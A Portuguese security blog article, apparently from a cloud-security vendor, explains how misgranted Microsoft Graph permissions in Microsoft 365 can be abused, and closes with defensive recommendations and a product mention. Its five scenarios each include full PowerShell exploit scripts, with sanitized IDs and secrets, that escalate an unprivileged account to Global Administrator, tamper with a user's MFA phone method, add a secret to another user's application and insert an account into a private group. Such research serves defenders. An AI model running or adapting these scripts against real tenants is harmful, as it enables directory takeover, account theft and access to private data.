Manipulando funções e permissões em ambiente Microsoft 365 via MS Graph

O Microsoft 365 é um conjunto de ferramentas de produtividade e colaboração baseadas em nuvem que inclui uma variedade de recursos de segurança para ajudar a proteger seus dados e dispositivos. Alguns desses recursos incluem uma vasta granularidade de funções, perfis de usuários e permissões.

Fazer a gestão de identidades, permissões e apis em ambiente nuvem não é tarefa fácil. Sem o devido conhecimento técnico e suporte de tecnologias especializadas, podemos enfrentar dificuldades para compreender e mensurar adequadamente os riscos. Listo aqui apenas dois motivos para que possamos refletir sobre a problemática:

  • São mais de 300 permissões somente MS Graph disponíveis para uso em aplicativos, portanto é razoável pensar que muitos dos administradores de ambiente Microsoft 365 não conseguirão avaliar adequadamente todos os pedidos de concessão de acesso ‘as APIs.
  • A documentação disponível pela Microsoft na maioria dos casos não deixa claro os riscos associados ao uso das permissões.

Nesse artigo traremos um caso concreto de como permissões, APis e identidades mal geridas podem trazer um enorme risco à um ambiente Microsoft 365.

É importante ressaltar que o uso mal intencionado de permissões pode indicar também persistência, atacantes podem fazer uso de tais recursos para continuar acessando o ambiente de forma privilegiada.

Funções e Permissões no Microsoft 365

No Microsoft 365, o Azure Active Directory usa o conceito de funções para distribuir privilégios aos usuários e aplicativos. Por exemplo, Administrador Global é uma função de diretório no Azure AD. As permissões da API do Microsoft 365 são um conjunto paralelo totalmente distinto de permissões que podem ser concedidas a entidades de serviço do Azure. Há alguma sobreposição entre as funções de diretório e as permissões das APIs, mas podemos pensar nelas como sistemas de privilégios paralelos.

A relação entre funções, permissões, usuários e aplicativos no diretório nem sempre permite ter clareza sobre os riscos aos quais estamos expondo nossos dados.

Cenário 1: Escalação de Privilégio

Este ataque permite que um usuário não privilegiado consiga garantir a si mesmo a função de Administrador Global de um ambiente Microsoft 365 e de maneira geral o sucesso do ataque está na possibilidade de uma solicitação de consentimento a permissão AppRoleAssignment.ReadWrite.All ser consentida.

Vejamos o que diz a documentação da Microsoft sobre a permissão AppRoleAssignment.ReadWrite.All.

Permite que o aplicativo gerencie concessões de permissão para permissões de aplicativo para qualquer API (incluindo Microsoft Graph) e atribuições de aplicativo para qualquer aplicativo, em nome do usuário conectado.

Para administradores menos informados essa permissão pode aparentar não trazer grande risco à organização. Adquirido o consentimento dessa permissão, o atacante pode criar então uma cadeia de permissões e garantir a si próprio acesso a RoleManagement.ReadWrite.Directory e finalmente ser um Administrador Global. A escalada de privilégio acontece sem que haja novas interações e consentimento dos administradores Microsoft 365.

O exploit para executar esse ataque bem sucedido pode ser visto abaixo. A identificação de alguns GUID é próprio de cada organização.

Write-Output “Conectando ao Microsoft 365”

$AppID = “e0eb06a1-SANITIZADO”
$TenantID = “63ffdbd2-SANITIZADO”
$AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZADO” -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword)

Write-Output “Priv Esc User ID: f2342e98-SANITIZADO”
Write-Output “Priv Esc App ID: $AppID”
Write-Output “Service Principal ID: 4462edeb-SANITIZADO”
Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZADO”

Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal

$UserContext = Get-AzContext *>&1 
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken

$body = @{
    principalId = “4462edeb-SANITIZADO”
    resourceId = “0bb31c9c-SANITIZADOf”
    appRoleId = “9e3f62cf-SANITIZADO”
}

Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZADO/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1

Write-Output “Aguardando…”
Start-Sleep -Seconds 60

$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken

$body = @{
    “@odata.id”= “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZADO”
}

Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } `
    -Uri ‘https://graph.microsoft.com/v1.0/directoryRoles/47c8403c-SANITIZADO/members/$ref’ `
    -Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType ‘application/json’ *>&1

Write-Output “Verifique se o usuário privesc é agora Global Admin”

Ao final da execução do exploit o atacante terá capacidades ilimitadas no diretório, podendo controlar usuários, dados e recursos da organização.

Cenário 2: Escalação de Privilégio

As políticas de consentimento do Microsoft 365 são funcionalidades comumente utilizadas por organizações com a finalidade de reduzir o fluxo de trabalho de aprovações e revisões de solicitações de permissões de acessos feitas por aplicativos. Esse tipo de política em geral está associada a alguma função no diretório e então associa-se usuários a esta dada função que podem consentir permissões de baixo risco sem a necessidade de aprovação.

Para que o ataque seja bem sucedido, o ator malicioso precisa:

  • Obter consentimento para a permissão Policy.ReadWrite.PermissionGrant.
  • Obter uma conta que possa usufruir de uma  política de consentimento.

Vejamos como o ataque pode ser realizado:

O exploit para executar esse ataque bem sucedido pode ser visto abaixo. A identificação de alguns GUID é próprio de cada organização. O código malicioso usa uma conta não privilegiada para manipular a política de consentimento my-custom-consent-policy e então escalar privilégio para Administrador Global. Note que nesse caso a conta não privilegiada do atacante pode utilizar a política de consentimento.

$AppId = ‘e0eb06a1-SANITIZADO’
$TenantId = ’63ffdbd2-SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADOo’
 
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
 
Connect-Graph  -AccessToken $Token.AccessToken

Invoke-GraphRequest `
   -Method GET `
   -Uri ‘/v1.0/policies/permissionGrantPolicies’ | ConvertTo-Json

$body = @{
  permissionClassification =  “all”
  permissionType = “application”
  resourceApplication = “00000003-0000-0000-c000-000000000000”
  permissions = @(’06b708a9-e830-4db3-a914-8e69da51d44f’, ’84bccea3-f856-4a8a-967b-dbe0a3d53a64′, ‘9e3f62cf-SANITIZADO’)
  clientApplicationIds = @(‘4462edeb-SANITIZADO’, ‘f2342e98-SANITIZADO’, ‘e0eb06a1-SANITIZADO’, ‘df021288-SANITIZADO’)
}

Invoke-GraphRequest -Method POST -Uri ‘/v1.0/policies/permissionGrantPolicies/my-custom-consent-policy/includes’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

Write-Output “Conectando ao Microsoft 365”

$AppID = “e0eb06a1-SANITIZADO”
$TenantID = “63ffdbd2-SANITIZADO”
$AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZADO” -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword)

Write-Output “Priv Esc User ID: f2342e98-SANITIZADO”
Write-Output “Priv Esc App ID: $AppID”
Write-Output “Service Principal ID: 4462edeb-SANITIZADO”
Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZADO”

Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal

$UserContext = Get-AzContext *>&1 
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
    $UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken

#Adicionando “RoleManagement.ReadWrite.Directory” para Priv Esc App
$body = @{
    principalId = “4462edeb-SANITIZADO”
    resourceId = “0bb31c9c-SANITIZADO”
    appRoleId = “9e3f62cf-SANITIZADO”
}
Write-Output “Adicionando a permissao RoleManagement.ReadWrite.Directory para o Priv Esc App”
Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZADO/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1

Ao final da execução do exploit o atacante utilizará o exploit listado no Cenário 1 e terá capacidades ilimitadas no diretório, podendo controlar usuários, dados e recursos da organização.

Cenário 3: Roubo de Credenciais

Habilitar o múltiplo fator de autenticação para as contas de usuários do locatário Microsoft 365 é uma prática importante quando estamos falando de proteger credenciais de acesso. Por isso é importante mencionar que existem não apenas funções, mas também permissões que se consentidas a um ator malicioso podem ser usadas de maneira a facilitar o roubo de credenciais.O atacante poderá manipular, ou seja, adicionar e remover fatores de autenticação das contas de usuários, facilitando o roubo.

O exploit para executar esse ataque bem sucedido pode ser visto abaixo. Nesse código um aplicativo associado ao ator malicioso realiza operações de adicionar e remover um fator de autenticação do tipo Mobile em uma outra conta de usuário.

# This code will manipulate multifactor authentication method for users
# it will be able to add and/or remove a mobile phone number.

$AppId = ‘e0eb06a1-SANITIZADO’
$TenantId = ’63ffdbd2–SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADO’
 
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
 
Connect-Graph  -AccessToken $Token.AccessToken

Invoke-GraphRequest `
    -Method GET `
    -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/methods’ | ConvertTo-Json

$body = @{
    phoneNumber = “+5561 999680000”
    phoneType = “mobile”
}

Invoke-GraphRequest -Method POST -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/phoneMethods’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

Invoke-GraphRequest `
    -Method DELETE `
    -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/phoneMethods/3179e48a-750b-4051-897c-87b9720928f7’

Ao final dessa execução uma determinada conta de usuário terá seu fator de autenticação Mobile modificado. Caso o atacante já tenha conhecimento prévio da senha do usuário, a conta poderá ser roubada.

Cenário 4: Movimentação lateral

Uma das formas que o adversário possui para se mover lateralmente no ambiente é através da obtenção de novas credenciais de acesso. Existem diversas formas de se obter tais credenciais, uma delas é abusando de determinadas permissões de aplicativos do Microsoft 365.

O código para executar este ataque bem sucedido pode ser visto abaixo. Nele um aplicativo associado ao ator malicioso realiza uma operação para adicionar um novo segredo a um aplicativo que não o pertence, possibilitando que possa ser usado para se mover no ambiente utilizando uma nova identificação.

$AppId = ‘e0eb06a1-SANITIZADO
$TenantId = ’63ffdbd2-SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADO’
 
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
 
Connect-Graph  -AccessToken $Token.AccessToken

$body = @{
PasswordCredential = @{
DisplayName = “MyNewPasswordSuperSecret”
}
}

Invoke-GraphRequest -Method POST -Uri ‘/v1.0/applications/a988bf77-SANITIZADO/addPassword’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

Ao final da execução, o atacante passará a ter permissão para se autenticar e movimentar no ambiente usando a nova credencial associada ao aplicativo “a988bf77-SANITIZADO”, cujo proprietário é outro usuário do diretório.

Cenário 5: Movimentação lateral

Outra forma de movimentação lateral reside na possibilidade de se infiltrar em grupos privados de usuários, obtendo informações e dados que possibilitam ao ator malicioso ganhar ainda mais espaço dentro do ambiente Microsoft 365.

O código para executar este ataque bem sucedido pode ser visto abaixo. Nele um aplicativo associado ao ator malicioso realiza uma operação para adicionar uma nova conta maliciosa a um grupo de usuários privados.

$AppId = ‘e0eb06a1-SANITIZADO’
$TenantId = ’63ffdbd2-SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADO’
 
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
 
Connect-Graph  -AccessToken $Token.AccessToken

Invoke-GraphRequest `
    -Method GET `
    -Uri ‘/v1.0/groups’ | ConvertTo-Json

$body = @{
      “@odata.id” = “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZADO”
}

Invoke-GraphRequest -Method POST -Uri ‘/v1.0/groups/a417addd-SANITIZADO/members/$ref’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’

Ao final da execução, o atacante passará a ter permissão para acessar todos os dados sensíveis do grupo “a417addd-SANITIZADO” através da conta “f2342e98-SANITIZADO”.

Recomendações

É importante atualizar regularmente suas configurações de segurança e garantir que seus dispositivos e usuários estejam em conformidade com as políticas de segurança de sua organização. Monitore constantemente a postura de segurança do seu ambiente e de sua cadeia de suprimentos

  • Procure por permissões que possam apresentar riscos.
  • Se possível, não permita que usuários possam registrar aplicativos.
  • Defina um processo para avaliar e consentir permissões dos aplicativos.
  • Monitore quem são os usuários com privilégio de administrador.
  • Monitore as políticas de consentimento da sua organização.
  • Monitore e revise as credenciais de acesso ao ambiente
  • Monitore e revise periodicamente os usuários que fazem parte de grupos privados

O Zanshin, plataforma SaaS da Tenchi Security, com sua capacidade de monitorar e avaliar a postura de segurança em ambientes de nuvem pode contribuir na identificação deste e de muitos outros riscos, entre em contato com nossos especialistas.

Crédito

Breno Silva

Referência

[1] Microsoft Graph permissions:

https://learn.microsoft.com/en-us/graph/permissions-reference

Faça uma busca

Últimos Artigos

Categorias